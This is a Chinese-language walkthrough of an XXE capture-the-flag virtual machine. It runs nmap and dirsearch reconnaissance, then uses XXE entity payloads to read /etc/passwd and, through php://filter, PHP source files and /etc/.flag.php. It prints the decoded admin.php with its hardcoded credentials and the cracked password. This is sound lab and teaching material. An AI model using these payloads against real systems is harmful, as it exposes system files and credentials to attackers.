靶机介绍
Haboob团队根据https://www.exploit-db.com/docs/45374发表的论文"XML外部实体注入-解释和利用"制作了这个虚拟机以利用私有网络中的漏洞,我们希望你喜欢这个挑战!
靶机攻防
攻击主机
这里我们使用Kali linux和Windows 11作为本次攻击主机:
信息收集
由于靶机和攻击者主机Kali处于同一网段,所以我们进行一次网段扫描探测,最终确定靶机IP地址为192.168.204.138
nmap -sS 192.168.204.135/24
在浏览器中访问靶机的80端口,发现只有一个apache服务启动
随后我们进一步探测目标信息,使用dirsearch进行目录扫描
dirsearch -u http://192.168.204.138
通过上面的目录探测扫描发现robots.txt文件,随后我们在浏览器中进行访问,发现xxe路径以及admin.php
随后我们访问xxe路径:
访问admin.php提示文件不存在
注入测试
随后我们在xxe页面中填写表单进行一个简单的抓包
可以看到这里的请求数据包为XML格式
随后我们在这里进行XXE注入测试,发现存在XXE漏洞
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>
随后我们直接读取admin.php文件试试
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
随后对返回的内容进行base64解码
得到解码的文件内容如下:
session_start();
<html lang = "en">
<head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}
.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}
.form-signin .checkbox {
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}
h2{
text-align: center;
color: #017572;
}
</style>
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
</div> <!-- W00t/W00t -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"> echo $msg; </h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
</div>
</body>
</html>
通过对上面的源代码进行分析我们可以得到用户名:administhebest,密码:e6e061838856bf47e1de730719fb2609,随后对密码进行MD5解密,得到明文密码:admin@123
登录系统
在获取到用户名和密码之后我们登录系统,结果发现提示"Sorry, this administhebest not available"
此时心凉了一半,随后我们发现在xxe后面拼接admin.php后会直接跳转到一个登录页面,随后我们使用上述账户密码进行登录操作:
随后出现一个flag的提示:
此时我们直接点击会跳转到flagmeout.php页面中去
提取Flag
随后我们和之前一样的操作来读取flagmeout.php源码文件:
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>
随后再次进行base64解码操作:
随后使用base32对上述代码进行解密操作:
https://simplycalc.com/base32-decode.php
再进行一次base64解码操作:
随后我们知道了flag再/etc/.flag.php文件中,下面我们就是去读取该文件获取对应的flag数据信息了
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>
随后再次进行base64解码得到一大串数据信息
随后保存以上解码后的文件并以php进行运行(需要低版本的PHP,建议PHP5),得到flag:SAFCSP{xxe_is_so_easy}
文末小结
本篇文章以XXE靶机为例对XXE漏洞的发现、漏洞的利用进行了详细的介绍~
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论